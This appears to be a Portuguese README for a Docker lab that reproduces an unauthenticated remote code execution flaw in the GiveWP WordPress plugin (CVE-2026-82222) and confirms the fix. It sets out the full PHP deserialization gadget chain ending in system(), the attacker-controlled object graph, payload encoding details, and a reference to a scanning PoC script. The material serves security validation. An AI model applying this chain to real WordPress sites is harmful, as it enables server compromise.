
# Laboratório Docker Autorizado e PoC Limpo para Validar o RCE CVE-2026-82222 no GiveWP 4.16.5.1 e a Correção 4.16.7.2
Material de pesquisa em segurança para reproduzir e validar CVE-2026-82222 em um laboratório Docker isolado.
Para PoC de RCE direto e varredura de URL, use CVE-2026-8222-RCE.py
Status: comprovado no laboratório fornecido
O GiveWP 4.16.5.1 permite que um atacante inicialmente não autenticado persista um grafo de objetos PHP, o reviva por meio do gerenciamento de sessão do GiveWP e execute um comando marcador fixo como o usuário do servidor web WordPress.
Resultado positivo testado:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Resultado: /tmp/CVE-2026-82222-RCE-GETBAG criado por www-data
O resultado de ponta a ponta também foi reproduzido contra o código-fonte original, não instrumentado, do GiveWP 4.16.5.1. O GiveWP 4.16.7.2 bloqueou o transportador HTTP na configuração testada e bloqueou de forma independente o gadget terminal durante um controle direto.
Isso demonstra execução de comandos dentro do contêiner WordPress. Não demonstra acesso root, escape de contêiner, movimento lateral ou comprometimento do host.
Use este repositório somente em sistemas que você possui ou para os quais está explicitamente autorizado a testar.
O PoC fornecido é intencionalmente restrito:
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback.127.0.0.1.O teste HTTP cria um usuário doador descartável, metadados e linhas de sessão do GiveWP. Use o comando de redefinição incluído após o teste.
Pré-requisitos:
curlunzipsha256sum ou shasumdownloads.wordpress.org para arquivos oficiais do pluginExecute a matriz completa vulnerável/corrigido:
./lab verify
O comando:
ProviderForwarder também rejeita o callable de string.O laboratório corrigido permanece em execução ao final. Remova-o com:
./lab reset
Para usar outra porta de loopback:
LAB_PORT=8099 ./lab verify
O controle vulnerável deve terminar com evidência terminal concreta:
[PASS] E1: registro não autenticado emitiu cookie de autenticação
[PASS] E3: grafo serializado persistido no próprio last_name
[PASS] E4: nonce de formulário de doação obtido
[PASS] E5: gravação de sessão atingiu o status HTTP pós-sink esperado=500
[PASS] E6: gatilho de leitura/destruição de sessão concluído
marcador presente e de propriedade do usuário web WordPress
RESULTADO: CONTROLE VULNERÁVEL CONFIRMADO
O controle corrigido deve mostrar:
[PASS] P1: gate de registro corrigido bloqueou cookie de autenticação
DIRECT_MARKER=ausente
marcador HTTP ausente e gadget terminal direto bloqueado
RESULTADO: CONTROLE CORRIGIDO CONFIRMADO
Um HTTP 500, payload armazenado, exceção ou detecção sem o marcador não é aceito como prova de RCE.
Inicie e teste a versão vulnerável:
./lab start vulnerable
./lab test
Inicie e teste a versão corrigida:
./lab start patched
./lab test
Inspecione o estado atual:
./lab status
Remova contêineres, volumes, usuários de teste, sessões e estado do marcador:
./lab reset
ZIPs de plugins em cache e ativos extraídos são preservados para reexecuções mais rápidas. Remova também esses ativos gerados exatos com:
./lab reset --purge-assets
| Versão | Avaliação |
|---|---|
| GiveWP 4.16.5.1 | RCE reproduzido de ponta a ponta |
| GiveWP 4.16.6–4.16.7.1 | Relatado como afetado; não reproduzido individualmente aqui |
| GiveWP 4.16.7.2 | Controles negativos corrigidos reproduzidos |
| Versões posteriores | Não testadas individualmente; atualize para a versão suportada mais recente |
O aviso público identifica as versões até 4.16.7.1 como afetadas. Este repositório prova diretamente apenas as duas versões em sua matriz de testes positivo/negativo.
Referências:
A exploração combina vários comportamentos:
Give\Helpers\Utils::maybeSafeUnserialize() usa
allowed_classes => false, produzindo __PHP_Incomplete_Class, mas uma
serialização posterior preserva os nomes e propriedades de classe originais.maybe_unserialize() irrestrito posterior revive as classes fornecidas.system().Quatro barras invertidas literais de namespace são necessárias no transportador HTTP. As duas
passagens efetivas de remoção as reduzem 4 -> 2 -> 1. O payload é livre de NUL,
e o PHP 8.1.30 foi verificado para hidratar o nome serializado simples para a propriedade
privada Session::$attributeName.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Grafo controlado pelo atacante:
TCPDF
├── file_id = identificador único de requisição
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = comando marcador fixo
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
A transição oculta crítica é o despacho implícito de IteratorAggregate
do PHP. TCPDF::$imagekeys não é tipado, então atribuir uma Session do Symfony
faz com que foreach invoque Session::getIterator().
O comando marcador é executado antes que o Symfony aplique o
tipo de retorno getAttributeBag(): AttributeBagInterface. O TypeError
resultante e o HTTP 500 são efeitos pós-sink.
O grafo candidato rejeitado usava:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'